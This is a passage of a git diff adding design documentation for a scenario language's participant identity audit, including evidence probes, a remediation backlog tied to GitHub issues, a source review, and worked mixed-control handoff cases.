Scope of a particular declared authority | +| Agent operating scope | Separate compute/network/service/content index | Resource scope is already narrower than generic targetability | + +Evidence paths: [content/objective validation](../../../implementations/python/packages/raes/validator/_content_objectives.py), +[scope validation](../../../implementations/python/packages/raes/validator/_core.py), +[observation scope](../../../implementations/python/packages/raes/observation_scope.py), +[effect validation](../../../implementations/python/packages/raes_processor/models/behavior_ref_checks.py), +and the [normative reference catalog](../../../specs/sdl/references.md). + +**Recommendation:** explicit eligibility by purpose and declaration kind at the +existing declaration/reference seam. An unclassified future kind must not gain +eligibility accidentally. This concerns declared reference use, not a closed +catalog of every possible private service or a requirement to describe it. +P2 must inventory compatibility before narrowing existing accepted references. + +### F5 — completion disagrees with participant endpoint validation + +**Established editor defect; owner P2.** +[`REFERENCE_COMPLETION_TARGETS`](../../../implementations/python/packages/raes/_language_metadata.py) +maps all relationship source/target fields to generic targetability. For a +`type: participant` relationship, completion offers `entities.team`, an +assertion, and a proposition as well as participants (E4). The validator rejects +the entity endpoint. In an incomplete document the fallback also uses section +exclusions. This is a concrete authoring failure, not merely terminology taste. +Subtype-aware completion/navigation must consume the same reference policy as +validation, including incomplete-document handling and ambiguity. + +### F6 — cross-layer names need a binding contract, not a blanket rename + +**Intentional layer mapping plus unresolved compatibility/documentation gap; +owner P4.** + +| Layer | Inspected identity | Interpretation | +| --- | --- | --- | +| Authored participant | Declaration key under `agents`; qualified reference `agents.one` | Role-neutral participant, despite the historical section name | +| Composition | Existing symbol maps rewrite agent/entity and other references under imports | Imported identity includes its module namespace; components are not new participants | +| Compiler | `participant.behavior.one` and retained `participant_name`, `entity_name` | Explicit projection of the authored participant, not a new participant | +| Runtime/history | `participant_address` plus episode/sequence/action coordinates | Participant lifetime identity differs from episode occurrence | +| Standalone provenance fixture | `participants.red` | String-valued contract example; not an SDL declaration or evidence of an accepted alias | +| Standalone episode fixture | `participant.alice` | Another contract example; not a compiler address demonstrated by the fixture | +| Editor | `agents.*` via declaration/completion catalogs | Author-facing namespace, not runtime address syntax | + +See [composition](../../../implementations/python/packages/raes/composition/_behavior.py), +[address builders](../../../implementations/python/packages/raes_processor/compiler/addresses.py), +[participant projection](../../../implementations/python/packages/raes_processor/compiler/participant_behaviors.py), +[provenance example](../../../contracts/fixtures/participant-implementation-provenance/participant-implementation-provenance-v1/valid/reference.json), +and [episode example](../../../contracts/fixtures/control-plane/participant-episode-state-envelope-v1/valid/initialized.json). +The runtime authority/scope alias index deliberately omits semantic-only +entities/relationships and also does not map agent refs; it preserves raw refs. +P4 must assess that projection per consumer, not equate an omitted runtime +dependency with lost authored identity. + +The examples establish address diversity, not a demonstrated cross-system +failure. P4 must classify each contract field as opaque external identity, +compiled address, or authored reference, define its scope and join, and reject +unbound or ambiguous joins where binding is required. Historical evidence must +not be rewritten by string substitution. Swapping a selected implementation +must not silently rename a participant, reset its history, or authorize a caller. + +### F7 — historical decisions conflict with current author guidance + +**Established documentation drift; owner P5; diagnosis resolved here.** +[ADR-079 §5](../../decisions/adrs/adr-079-backend-neutral-proposition-and-truth-semantics.md) +deliberately replaces `starting_conditions` with precondition +`starting_assertions`. The current model rejects the old field even when empty +(E5); the reference catalog and Agents guide use the new field. ADR-020 §6 +still publishes the old name. The correct reconciliation is a dated companion +and current navigation to the later decision, not restoring an alias that +equates a probe with truth or silently editing pinned ADR history. + +Adjacent checks found: ADR-020's reward-calculator context is historical under +[ADR-073](../../decisions/adrs/adr-073-scoring-reward-language-scope.md); +its generated-schema authority wording predates the published-schema authority +in ADR-009/061; ADR-067 remains proposed; role comes through entity today; +operating scope is narrower than generic targetability. ADR-092's `green` role +restriction is a rule of its non-evaluated autonomous execution profile, not +the definition of participant autonomy. P5 owns a current-versus-historical +crosswalk covering these points and the decisions delivered by P1–P4. + +## Alternatives assessed + +| Alternative | Benefit | Cost or counterexample | Disposition | +| --- | --- | --- | --- | +| Keep mandatory `entity` and explain it better | Small migration | Unaffiliated/composite subjects still require a surrogate entity; ownership/acting still conflated | Insufficient alone; P1 must separate meanings | +| Identity at participant declaration, optional affiliation and explicit assignment | Matches shared-organization and composite cases | Role inheritance and legacy objectives need migration | Recommended semantic direction; exact field syntax belongs to P1 | +| Rename `agents` to `participants` immediately | More neutral spelling | Breaks authoring, import maps, fixtures and clients without resolving entity semantics | Do not select a rename as the semantic fix; P4 evaluates migration if justified | +| Add both participant and agent roots | Familiar words for different readers | Two identities/sources of truth for one concept | Reject parallel roots absent a distinct concept | +| Make every process/service/tool a participant | Easy discovery from deployment | Contradicts author designation and composite identity | Reject | +| Require a component/deployment graph per participant | Makes one realization explicit | Makes abstract authors describe irrelevant machinery | Reject mandatory graph; retain optional meaningful refinement | +| One universal targetable boolean | Simple lookup | New kinds and editor contexts inherit inappropriate eligibility | Replace accidental default with purpose-specific policy at existing seams | +| Copy UML/PROV/TOSCA or a learning API as the ontology | Familiar external vocabulary | Each has different identity, responsibility, topology or execution assumptions | Use bounded precedents, not imported authority | + +## Adoptability assessment + +This is a heuristic author-task walkthrough using Cognitive Dimensions, not a +user study or measured adoption result. Source relevance and limits are in +[research.md](research.md). These tasks become #221 acceptance scenarios. + +| Author task | Current cost or ambiguity | Acceptance and counterexample | +| --- | --- | --- | +| Model one composite harness/tools/model subject | `Agent` is role-neutral but entity/identity language suggests a person/team mapping | One authored participant; components need no participant declarations or mandatory inventory | +| Put two participants on one team | Guide implies shared identity while compiler keeps two keys | Two identities and histories; shared team does not share authority or observations | +| Give an organization an objective | Entity is called an actor and skips agent action checks | Ownership without action; assign a participant explicitly before attributing an action | +| Model a service solely as a resource, then also as a participant | Several service meanings; no general relation contract | Explicit designation and optional meaningful relation; a port/daemon alone never starts an episode | +| Make one participant act on another | Generic targets work, typed relationship completion offers invalid choices | Same subject in actor and target positions; completion and validation agree | +| Import the same participant module twice | Author must follow several namespace forms | Distinct imported identities with stable, inspectable joins through runtime/evidence | +| Swap implementation for an existing participant | Standalone examples use different participant-address prefixes | Change apparatus selection, retain participant identity; do not rewrite historical evidence | +| Follow ADR-020's starting-state example | Old field is rejected with a migration diagnostic | Current entrypoint explains assertions/probes and links the superseding decision | + +Mandatory affiliation creates premature commitment; overloaded actor/entity +language weakens role expressiveness; address joins are hidden dependencies; +bulk renaming creates viscosity; broad completion creates error-prone choices. +These are specific inspection judgments. P1–P5 acceptance reduces those costs +without requiring a new notation or unrequested evidence collection. + +## Coverage and disposition + +All four issue constraints are the governing meaning above and are carried into +the remediation acceptance cases. Identity/affiliation is F1–F2; services F3; +target rules F4–F5; names/references F6; definition drift F7. The literature, +lineage and alternatives are recorded; every finding has an implementation owner. +Intentional layer separations are retained. Runtime fidelity, security assurance, +and empirical usability are not inferred from the 162 passing existing tests. +The [publication record](remediation-plan.md) supplies actual issue links and +verified native dependency direction. ACT-613 delivery remains with that backlog. diff --git a/docs/research/participant-identity/evidence.md b/docs/research/participant-identity/evidence.md new file mode 100644 index 000000000..3aabe93b9 --- /dev/null +++ b/docs/research/participant-identity/evidence.md @@ -0,0 +1,117 @@ +# Participant audit evidence + +Observed 2026-09-21 on repository revision +`e4136a6e1f2fadc0fa174421532b91360aee0f73` before implementation changes. +The [audit](audit.md) interprets these observations. No native backend action +was executed. The probes establish parser/compiler/editor behavior, not a +complete conformance or security result. + +## Minimal probe input + +This valid audit specimen was passed through `yaml.safe_dump`, `raes.parse_sdl` +and `raes_processor.compiler.compile_scenario_runtime_model` using the +repository Python environment with `PYTHONPATH=implementations/python/packages`. +The deliberately undeclared objective action distinguishes the entity and agent +paths; it is an observation of current behavior, not recommended authoring. + +```yaml +name: audit +entities: + team: {role: red} +agents: + one: {entity: team} + two: {entity: team} +propositions: + ok: + description: declared state + subjects: [agents.one] + basis: declared_state + predicate: + kind: boolean + property: ready + semantic_ref: urn:raes:declared-property:ready + operator: equals + expected: true +assertions: + done: {proposition: ok, role: postcondition, polarity: positive} +objectives: + goal: + entity: team + actions: [undeclared-operation] + targets: [agents.two] + success: {assertions: [done]} +``` + +For E1 and E5, use only `name`, `entities` and `agents` from this specimen. +For E4, omit `objectives` and add the participant relationship shown below. +No mocks, permissive model construction, or skipped parser validation were used. + +## Observations and negative controls + +| ID | Operation | Observed result | Limit | +| --- | --- | --- | --- | +| E1 | Parse and compile two agents with `entity: team`; inspect `model.participant_behaviors` and `build_declaration_index(scenario).reference_aliases(targetable=True)` | Two keys: `participant.behavior.one`, `participant.behavior.two`; `agents.one` and `agents.two` each resolve to their own targetable declaration | Shared entity does not collapse identity; this does not settle affiliation semantics | +| E1-negative | Replace `agents.one` with an empty mapping | `SDLParseError`: `Agent requires 'entity'` | Actual model validation, not the field's empty-string default | +| E2 | Parse/compile the full specimen; inspect the objective's `actor_type`, `actor_name`, and retained `spec` | `entity`, `team`; undeclared action and participant target remain in objective spec | No native action execution claim | +| E2-negative | Replace objective `entity: team` with `agent: one` | `SDLValidationError`: action `undeclared-operation` is not declared by agent `one` | Demonstrates asymmetric validation, not why it was intended | +| E2-entity-only | Remove `agents`; change proposition subject and objective target to `entities.team` | Compiles an entity actor with zero participant behaviors | Organizational objective may be valid ownership; actor terminology is the conflict | +| E3 | Independently replace objective target with `assertions.done` or `propositions.ok` | Both parse/compile; target string retained in objective spec | Acceptance alone does not establish that these objects are inappropriate objective subjects | +| E3-extension | Call `is_targetable_section('future_declaration_kind')` | `True` | Tests the exclusion policy only; actual generic indexing also requires referenceable-section registration | +| E4 | Request `language_completions(text, cursor_path='/relationships/pair/target')` for the relationship below | Offers `one`, `two`, `done`, `team`, `ok`, `pair`, with declaration addresses in `detail` | Successful completion uses the declaration index; subtype filtering is missing | +| E4-negative | Replace relationship target with `entities.team` and parse | Participant endpoint validation rejects it; existing ACT-612 tests exercise the same boundary | The editor offers a choice rejected by the owning semantic validator | +| E5 | Add `starting_conditions: []` to an agent | `SDLParseError` directs the author to precondition `starting_assertions` | Deliberate ADR-079 migration; not evidence that the old field should be restored | + +E4's added relationship: + +```yaml +relationships: + pair: + type: participant + source: agents.one + target: agents.two + participant: {kind: cooperation} +``` + +## Inspected seams + +Coordinates are repository paths plus stable symbols, at the revision above. +These complement the concrete probes; they do not claim exhaustive runtime +coverage. + +| Concern | Source and inspected symbol | +| --- | --- | +| Entity requirement, legacy field | `raes/agents.py`: `Agent.validate_required_entity`, `reject_legacy_starting_conditions` | +| Organizational entity | `raes/entities.py`: `Entity`, `flatten_entities` | +| Objective actor/action treatment | `raes/objectives.py`: `Objective.validate_actor_binding`; `raes/semantics/objective_semantics/_analysis.py`: `_check_agent`, `_check_entity` | +| Declaration target eligibility | `raes/_declarations.py`: `_REFERENCEABLE_SECTIONS`, `_add_section_declarations`, `_add_runtime_children`; `raes/_reference_targetability.py`: `is_targetable_section` | +| Relationship and reference purposes | `raes/validator/_content_objectives.py`: `_verify_relationships`, `_verify_agent`, `_verify_participant_interaction_refs`; `_participant_relationships.py`: endpoint and objective checks; `_core.py`: `_operating_scope_ref_index` | +| Observation and effect refs | `raes/observation_scope.py`: `canonical_observation_reference`; `raes_processor/models/behavior_ref_checks.py`: action-result visible-reference checks | +| Composition and address projection | `raes/composition/_behavior.py`; `raes_processor/compiler/addresses.py`: `_participant_behavior_address`; `participant_behaviors.py`: `_compile_participant_behaviors`; `alias_index.py`: `_runtime_addressable_ref_index` | +| Editor | `raes/_language_metadata.py`: `REFERENCE_COMPLETION_TARGETS`; `raes/language_service.py`: `_reference_completion_items` | +| Apparatus and service | `raes/nodes.py`: `ServicePort`; ADR-041 and ADR-092; published participant implementation and execution contracts | + +All package paths above are relative to `implementations/python/packages/`. +The [audit](audit.md) links the files directly and distinguishes confirmed +observations from open questions about their intended meaning. + +## Existing behavioral checks + +From `implementations/python`, ran: + +```sh +RAES_REQUIREMENT_UID=ACT-613 .venv/bin/python -m pytest \ + tests/test_act_612_participant_relationships.py \ + tests/test_sem_208_participant_behavior.py \ + tests/test_semantics_objectives.py -q --disable-warnings --maxfail=1 +``` + +Result: **162 passed in 8.68 seconds**. This covers existing participant +relationships, behavior and objective semantics, including negative endpoint +cases. The tests passing alongside E2/E4 is why the audit does not treat green +tests as a conceptual correctness argument. + +Initial file-local repository policy passed with `RAES_REQUIREMENT_UID=ACT-613`. +Final publication checks and native issue dependency readback are recorded in +the [remediation plan](remediation-plan.md). No requirements were promoted to +ACTIVE, published schema changed, accepted ADR repinned, or runtime evidence +rewritten by this audit. diff --git a/docs/research/participant-identity/remediation-plan.md b/docs/research/participant-identity/remediation-plan.md new file mode 100644 index 000000000..707fd213a --- /dev/null +++ b/docs/research/participant-identity/remediation-plan.md @@ -0,0 +1,114 @@ +# Participant identity remediation ownership + +This is the actionable backlog for [audit #215](https://github.com/OpenRAE/rae/issues/215). +The [audit](audit.md) and [evidence](evidence.md) describe observed behavior; +the issues below own semantic decisions, implementation and compatibility. +All seven implementation owners are in +[milestone 60 — Runtime & Participant Model](https://github.com/OpenRAE/rae/milestone/60). +Publishing this audit does not implement ACT-613 or close these owners. + +## Findings and owners + +| Work package | Findings | Implementation owner | Concrete result | +| --- | --- | --- | --- | +| P1 | F1 identity/affiliation; F2 objective actors | [#1338](https://github.com/OpenRAE/rae/issues/1338) | Separate authored identity, affiliation/role, objective owner, assignment and acting; implement reviewed migration | +| P2 | F4 reference-purpose policy; F5 editor mismatch | [#1339](https://github.com/OpenRAE/rae/issues/1339) | Intentional eligibility for each declaration/reference purpose; consistent parser, compiler and editor treatment | +| P3 | F3 service/participant/resource relation | [#1340](https://github.com/OpenRAE/rae/issues/1340) | Resolve optional relation semantics without automatic participation or compulsory component/deployment graphs | +| P4 | F6 address scope and joining | [#1341](https://github.com/OpenRAE/rae/issues/1341) | Classify authored, compiled and opaque identities; enforce required joins and preserve historical evidence | +| P5 | F7 current/historical guidance | [#1342](https://github.com/OpenRAE/rae/issues/1342) | Current field/concept crosswalk, discoverable ADR-079 migration and coherent author guidance after P1–P4 | +| Existing conformance owner | Verification of P1–P4 | [#220](https://github.com/OpenRAE/rae/issues/220) | Negative and cross-stage identity, eligibility, address and authority-binding cases | +| Existing scenario owner | Author tasks and integrated delivery | [#221](https://github.com/OpenRAE/rae/issues/221) | Composite/shared-identity/service/actor-target/import/swap scenarios and a bounded adoptability walkthrough | + +Every issue states the semantic problem, intended result, affected surfaces, +acceptance examples and counterexamples, compatibility implications and +verification. #220 and #221 retain their original bodies and ownership, with a +scoped audit addendum. #343/#344/#345 retain manifest, apparatus-conformance and +provenance ownership; P4 reuses those artifacts for its cross-layer joins. +#257 remains the broader multi-role assurance owner. No duplicate general +manifest, runtime, conformance or scenario program was created. + +F3's apparatus/resource separation and F6's author-to-compiler mapping are +intentional differences to preserve, not defects to erase. Their unresolved +relation/join questions remain assigned to P3/P4. F7's old-field diagnosis is +resolved by ADR-079; P5 owns discoverability and adjacent consistency. No +finding is left as an ownerless note. + +## Native dependency order + +An arrow means **prerequisite blocks dependent**, not checklist containment. +These edges use the GitHub issue-dependencies API; issue hyperlinks alone are +not the enforcement mechanism. + +```mermaid +flowchart TD + A["#215 Audit"] --> B["#1338 Identity and assignment"] + B --> C["#1339 Reference eligibility"] + B --> D["#1340 Service/resource relations"] + C --> E["#1341 Cross-layer identity mappings"] + D --> E + E --> F["#1342 Guidance and migration"] + E --> G["#220 Conformance"] + F --> H["#221 Scenarios and author walkthrough"] + G --> H +``` + +| Prerequisite | Dependent | Reason | +| --- | --- | --- | +| #215 | #1338 | Evidence and constraints precede selected identity changes | +| #1338 | #1339 | Purpose rules need actor/owner and participant identity meanings | +| #1338 | #1340 | Resource relations need a stable participant identity boundary | +| #1339 | #1341 | Address bindings must preserve selected reference purposes | +| #1340 | #1341 | Resource/participant joining must follow the approved relation | +| #1341 | #1342 | Current guidance must describe resolved mappings and prior decisions | +| #1341 | #220 | Integration conformance needs the implemented identity/reference/service joins | +| #1342 | #221 | Representative author scenarios need current guidance and migration routes | +| #220 | #221 | Scenario claims need the conformance cases they rely on | + +P2 and P3 can proceed independently after P1. P5 and conformance can proceed +independently after P4. The audit has no dependency on completing its own +remediation, avoiding a delivery deadlock. + +## Dependency and publication verification + +Verified 2026-09-21 using the +[GitHub issue-dependencies API](https://docs.github.com/en/rest/issues/issue-dependencies). +For prerequisite A and dependent B, writes addressed B's `dependencies/blocked_by` +endpoint using A's numeric issue **id**, not its issue number. Reads paginated +both `blocked_by` and `blocking`. + +The verification traversed both directions from every affected issue to include +pre-existing edges in the connected graph, checked the proposed union for cycles +before writing, and then re-read and checked the graph after writing. All nine +edges above were present in both directions. The affected component contained +eight issues and nine edges, with no pre-existing edges and no cycles. One valid +topological order is #215, #1338, #1340, #1339, #1341, #1342, #220, #221. +These are observations at publication time, not a promise that GitHub state +cannot later change. + +Issue body/title round trips and milestone 60 membership were checked for +#1338–#1342; the appended bodies and milestone membership were checked for +#220/#221. The audit's issue-thread publication links this document and every +owner. Repository publication checks cover local links, whitespace and file-local +policy, followed by the required review, publish hook, CI/Sonar and readiness +record on #215. Their workflow records, rather than this audit, are the authority +for whether the delivery PR is ready to merge. + +## Completion boundaries + +The audit acceptance criteria map as follows: + +| #215 criterion | Deliverable or verification | +| --- | --- | +| Author-designated autonomy, composite identity, participant-only semantics, actor and target roles | Audit governing meaning, F1–F6, P1–P4 acceptance/counterexamples | +| All five audit questions | F1/F2 identity and objectives; F3 services; F4/F5 reference purposes; F6 names/joins; F7 drift | +| Primary sources, lineage, relevance/limits and alternatives | research.md and the audit's alternatives and author-task tables | +| Every finding resolved or assigned | Findings/owners table above, including intentional differences and open questions | +| Actionable implementation issues in milestone 60 | Five new owners, two existing owners with scoped acceptance addenda, API readback | +| Real dependencies with verified direction and no cycles | Nine native edges, both-direction readback and transitive graph verification | +| Audit, owners and order linked from #215 | Issue-thread publication plus repository docs index | + +Only implementation owners change language/runtime contracts. They must use the +existing schema publication and compatibility machinery, preserve accepted-ADR +history, keep caller authorization distinct from participant identity, and +test actual behavior. Corpus completion is the point to reassess ACT-613's +complete delivery evidence; no status promotion follows from this audit. diff --git a/docs/research/participant-identity/research.md b/docs/research/participant-identity/research.md new file mode 100644 index 000000000..b00cf5f0d --- /dev/null +++ b/docs/research/participant-identity/research.md @@ -0,0 +1,68 @@ +# Sources for the participant identity audit + +Reviewed 2026-09-21 for [#215](https://github.com/OpenRAE/rae/issues/215). +This is a targeted architecture and authoring review. Sources were selected for +identity/role separation, service actors, responsibility, typed relationships, +participant interfaces, and notation usability. It is not a systematic review. +Repository behavior comes from [code inspection and probes](evidence.md). +The issue supplies the author-designated autonomy rule; no external source is +used to impose a threshold or a universal definition of an agent. + +## Primary sources and bounded use + +| Source and consulted location | Relevant precedent | Application and limit | +| --- | --- | --- | +| OMG, ISO/IEC 19505-2:2012, UML Superstructure, [§16.3.1 Actor](https://www.omg.org/spec/UML/ISO/19505-2/PDF), PDF pages 618–619 | An actor models a role relative to a subject, rather than necessarily one physical individual; one individual can play multiple roles. | Supports distinguishing role from physical identity. UML actors are external to the modeled subject; RAE participants are scenario subjects. Do not import UML multiplicities or externality as the participant definition. | +| W3C, Activity Streams 2.0, Recommendation 23 May 2017, [§4.3 Actor](https://www.w3.org/TR/activitystreams-core/#actor) and Activity Vocabulary [§3.2, Service](https://www.w3.org/TR/activitystreams-vocabulary/#dfn-service) | Actors specialize objects; application, group, organization, person and service are actor types. Activity separates actor, object, target and instrument. | Supports services in acting roles and objects that can themselves be actors. Its social-activity `target` is not synonymous with all RAE targets. A Service type alone does not designate a RAE participant; its vocabulary is not an autonomy test. | +| W3C, PROV-O, Recommendation 30 April 2013, [§3.1 and starting-point terms](https://www.w3.org/TR/prov-o/#description-starting-point-terms), `wasAssociatedWith`, `wasAttributedTo`, `actedOnBehalfOf` | Responsibility for activity, attribution of an entity, and acting on another agent's behalf are separate relations. Qualified associations can retain roles and plans. | Supports separate objective ownership, assignment and realized attribution. PROV Agent denotes responsibility; PROV Entity is broader than RAE's organizational Entity. Neither provenance nor delegation in this ontology grants runtime authorization. | +| OASIS, [TOSCA 2.0](https://docs.oasis-open.org/tosca/TOSCA/v2.0/TOSCA-v2.0.html), §§7.3–7.4 and 8.1–8.5, consulted 21 September 2026 | Relationship types can constrain source/target nodes and capabilities; requirements bind compatible capabilities. The document itself notes incomplete relationship-template grammar. | Supports relation-specific endpoint checks and separating nodes from capabilities. It does not imply default denial in TOSCA: undefined restrictions can admit all node types. RAE's explicit eligibility recommendation is our inference, not a TOSCA requirement. No deployment topology or TOSCA syntax is made compulsory. | +| Alan Blackwell and Thomas Green, [Cognitive Dimensions of Notations tutorial](https://www.cl.cam.ac.uk/~afb21/CognitiveDimensions/CDtutorial.pdf), 1998 version, “The full set,” “Hidden dependencies,” “Premature commitment,” and “The remaining dimensions” | Notations trade off visibility, consistency, abstraction, viscosity, role expressiveness, and closeness to users' tasks. | Supplies the heuristic rubric for the audit's task table. It does not measure RAE users or prove that a rename improves adoption. A user study would require participants, tasks, observations and analysis beyond this inspection. | +| Terry et al., [PettingZoo: A Standard API for Multi-Agent Reinforcement Learning](https://arxiv.org/html/2009.14471v7), arXiv:2009.14471v7, 26 October 2021, §§3–6 and appendix C | Explicit agent/environment interaction and ordering can prevent conceptual mistakes hidden by a convenient API; the paper demonstrates failures through case studies. | Supports examining actor/target meaning and cross-layer joins beyond parser acceptance. The AEC game/API is a learning-environment model, not a rule that every RAE service/tool must be an agent, nor an imported RAE scheduler. | +| Standen et al., [CybORG: A Gym for the Development of Autonomous Cyber Agents](https://arxiv.org/pdf/2108.09118), arXiv:2108.09118v1, 20 August 2021, §§2–4 | Simulation and emulation share an agent-facing interface while realization and action/observation detail differ. | Explains the repository's agent-interface lineage and why common syntax is not evidence of equivalent native behavior. It supplies neither composite-participant identity semantics nor an obligation to use one process/model per participant. | + +URLs were opened directly during the review. The dated recommendations and +arXiv revisions identify consulted editions. The TOSCA URL is a maintained +publication: claims here are limited to the named sections observed on the +review date, rather than an assertion of immutable bytes. No source text or +external schema was copied into an executable RAE artifact. + +## Repository lineage and authority + +The [participant lineage](../../explain/sdl/lineage.md#participant-semantics) +connects agent interfaces, partial observation, local histories, interaction, +time, and attribution. The current +[v2 ledger](../../../contracts/provenance/sdl-lineage-ledger-v2.json) records +`sdl-field:agents` as adapted from CybORG scenario configuration with no +compatibility claim. Its separate interactive-access claim pins CyRIS 1.2 and +CybORG 3.0 boundaries. The autonomous-execution claim distinguishes participant +interfaces, shared time and operational resource precedents. Section-level +lineage is not evidence that every Agent field came from that source. + +V1 is historical; v2's document still uses the `sdl-lineage-ledger/v1` schema. +This review changes no derivation or compatibility claim and therefore does not +rewrite either ledger. The new standards are audit precedents, not newly +adopted language authority. + +ADR-020 is the framing baseline; ADR-022 separates action, observation, +attribution and outcome; ADR-041 separates implementation apparatus; proposed +ADR-067 composes the behavior model; ADR-092 separates autonomous policy, +execution service, targets and selected implementation. ADR-079 supersedes the +starting-condition field, and ADR-073 removes the reward label. These are +inputs to the audit, not proof that adjacent definitions are consistent. + +The [language-extensibility review](../language-extensibility/design-review.md), +[clarified intent](../language-extensibility/design-intent.md), and +[consistency correction](../language-extensibility/consistency-review.md) +constrain the recommendations: abstract models can be complete; omitted +implementation detail is not automatically missing authoring; observation +demand is separate from representability and realization. Typed reference +eligibility must not become mandatory per-tool/component inventory. + +## Synthesis boundary + +The recommendation combines author-selected identity, typed semantic relations, +purpose-specific reference rules, explicit cross-layer mappings and task-based +guidance. No single source proves this combination correct for RAE. Each proposed +change has counterexamples and compatibility obligations in the +[implementation backlog](remediation-plan.md). Current accepted behavior, +design recommendations and evidence of execution remain separate claims. diff --git a/docs/research/reusable-mixed-control/cases.md b/docs/research/reusable-mixed-control/cases.md new file mode 100644 index 000000000..c20d9f24f --- /dev/null +++ b/docs/research/reusable-mixed-control/cases.md @@ -0,0 +1,173 @@ +# Reusable mixed-control worked cases and evidence + +These cases instantiate [MC-01–MC-09](../../../specs/formal/participant-semantics/reusable-mixed-control.md) +under [ADR-110](../../decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md). +Names below are semantic notation, not proposed SDL/JSON syntax. Each accepted +row assumes independently resolved authority, scope and evidence at its cut. + +## Two cycles under one policy and episode + +Policy `P@r1` declares `A` controlled by `self`, `B` controlled by declared agent +`supervisor`, and two handoff permissions `take: A→B`, `return: B→A`. Both agents +have declared, non-widening authority for the controlled participant and target +scope. The policy and both edges remain identical throughout episode `E1`. + +| Application / fresh operation key | Edge | Acting controller | Exact prior state | Committed result | Admitted control order | Required completion evidence | +| --- | --- | --- | --- | --- | --- | --- | +| h1 / k1 | take | self | A, 0 | B, 1 | 10 | transfer h1 at its cut | +| h2 / k2 | return | supervisor | B, 1 | A, 2 | 20 | transfer h2 at its cut | +| h3 / k3 | take | self | A, 2 | B, 3 | 30 | transfer h3 at its cut | +| h4 / k4 | return | supervisor | B, 3 | A, 4 | 40 | transfer h4 at its cut | + +The old fixed declaration for `take` expects revision 0 and cannot supply h3's +revision 2. The revised permission has no traversal revision; h3 supplies the +exact expected revision itself. Replaying h1 as a *fresh* application after h2 +is stale. Retrying k1 with identical content returns h1's receipt without an +application; changing k1's content to h3 conflicts. h1's completion evidence +does not establish completion of h3. + +A finite script `[step-1: take, step-2: return]` permits h1 and h2 only. Its +exhausted cursor rejects h3. A script of four explicit steps can permit the +four-row trace. A rejected slot retains its cursor; a corrected fresh request +still needs current authority/validity and an admitted retry budget. + +## Same-state facts, proposals and decision conflict + +Starting at A,0, a proposal occurrence p1 establishes proposal `q1@1` and A,1. +Handoff h1 moves A,1 to B,2. An approval by B's controller targets **q1@1**, +producing B,3. Proposal revision 1, state revision 3 and history position are +different coordinates. This approval authorizes no execution by itself. + +A second denial of q1@1 with a new decision ID is rejected as an already +resolved proposal. Returning to A and taking control again does not reopen +q1. New work uses q2 with its own immutable content/revision; it cannot inherit +q1's approval. A changed proposal uses a fresh identity with explicit source +and transformation provenance. A target that appears only later in an imported +history cannot justify an earlier decision. A same-named proposal in E2 is not +an E1 target. Explicit override/cancellation appends its own eligible fact and +never edits the approval or any action already performed. + +## Concurrency, rejection and validity + +Two contenders x and y both expect A,2 and the same history head. If the +admitted order establishes x at 30 and y at 40, x can produce B,3; y then +rejects as stale. Reversing HTTP arrival does not change this semantic order. +If the ordering authority cannot resolve a tie, neither contender wins. +Substituting revision 3 into y would be a different request, not revalidation. + +The rejection can append a new history record while leaving B,3 and accepted +order 30 unchanged. Its record identifies the attempted old revision/order, +the evaluated current cut, reason and no-state-change result. It creates no +usable proposal or satisfied predecessor. A principal/episode that cannot be +bound safely receives an operation/audit refusal rather than invented +participant evidence. + +| Candidate condition | Result | +| --- | --- | +| Source controller is self, but caller has only a supervisor subject binding | Reject controller/subject agreement; destination membership grants nothing. | +| Valid caller role but missing controller grant or widened scope | Reject independently of authentication. | +| Current grant revoked between evaluation and commit | Fence fails; no accepted transition at the old cut. | +| Order 30 in inclusive order window [10,40], trusted tick 900 outside temporal window [100,200] | Reject temporal validity; order 30 is not tick 30. | +| Order at either endpoint and exact clock coordinate at either endpoint | Eligible for those constraints, subject to every other gate. | +| Clock reset to another segment, or unmapped clock domain | Reject unresolved validity; equal numeric ticks do not help. | +| History capacity or selected API-424 count range exhausted | Reject before state advance; no truncation, wrapping or budget reset. | + +## Direction, intervention and delivery + +At B, a `direct` permission can target a declared eligible proposal, action or +control occurrence; an `intervene` permission can target action, control or +attempt. Both use B's acting controller and preserve its controller identity. +The reusable edge identifies a permission; its two applications d1 and d2 have +different event identities/revisions and evaluated cuts. + +Binding L connects one participant, inject I and its original event/script/story +anchor to that permission. The actual delivery D2 must name d2 exactly. Joining +d1 merely because it uses the same edge/controller fails. Joining the destination +authority instead of the acting authority fails when their grant/scope differs. +Authored refs must first resolve to the same canonical compiled identities. + +Control policy `P@r1` and disclosure policy `V@r7` may be jointly valid despite +different revision strings. Equal strings on different policy identities prove +nothing. Delivery rechecks V's audience, markings, window, result and final +sink at its own cut. A valid d2 followed by revoked disclosure permission yields +an accepted control fact and a rejected/withheld delivery, not an erased d2. + +The pair `(d2,L)` permits one logical delivery. Retrying D2 preserves its +identity and consumption; another D3 cannot spend `(d2,L)` again. Another +control application or separately admitted participant binding is necessary. +A general inject without L remains orchestration input. A disclosure-only L +carries no control authority. Ordinary disclosure may retain item identity; +an API-424 inject effect must create its fresh result and DSL-111 occurrence, +retaining source provenance. Neither a renamed item nor a control receipt is +proof of produced content, delivery or observation. + +Independent API-423 delivery/observation evidence must satisfy the declared +basis. Successful serialization alone cannot prove remote acknowledgment or +human observation. If delivery is a required predecessor, the parent remains +withheld until the existing lifecycle can evidence and revalidate it. + +## Commit, restart and episode boundary + +| Situation | Required interpretation | +| --- | --- | +| Atomic commit fails before h3 is recorded | No h3 state/receipt/history is exposed; a retry may evaluate at the surviving cut. | +| Commit succeeds but response is lost | Identical authorized k3 retry returns the retained receipt; no second transfer. | +| External effect dispatch is indeterminate | Reconcile through the effect owner; a fresh cycle is not evidence that redispatch is safe. | +| Process restarts | Reconstruct E1 and its pinned P@r1; neither revision nor operation keys reset. | +| E1 terminates | No fresh control application; authorized historical reads/retries remain possible. | +| Reset/restart admits E2 with P@r2 | Fresh initial authority/state revision zero, explicit predecessor link, no E1 proposal decisions or cursor. | +| k1 reused with E2 in its request | Conflict under the existing target/run, principal and operation-kind key scope. | +| E1 replay after P@r2 is published | Use retained P@r1 and the historical cuts/evidence. Missing context is unverifiable. | +| Provider/phase handoff or clock replay | Does not establish controller transfer, a fresh episode or renewed causal budgets. | + +## Verification and acceptance map + +The existing pytest infrastructure runs the finite reference model: + +```bash +RAES_REQUIREMENT_UID=ACT-617 implementations/python/.venv/bin/python -m pytest implementations/python/tests/test_issue_1351_mixed_control_design.py -q +``` + +The initial 27 cases failed with the abstract relation unimplemented. After +implementing it, a second red/green 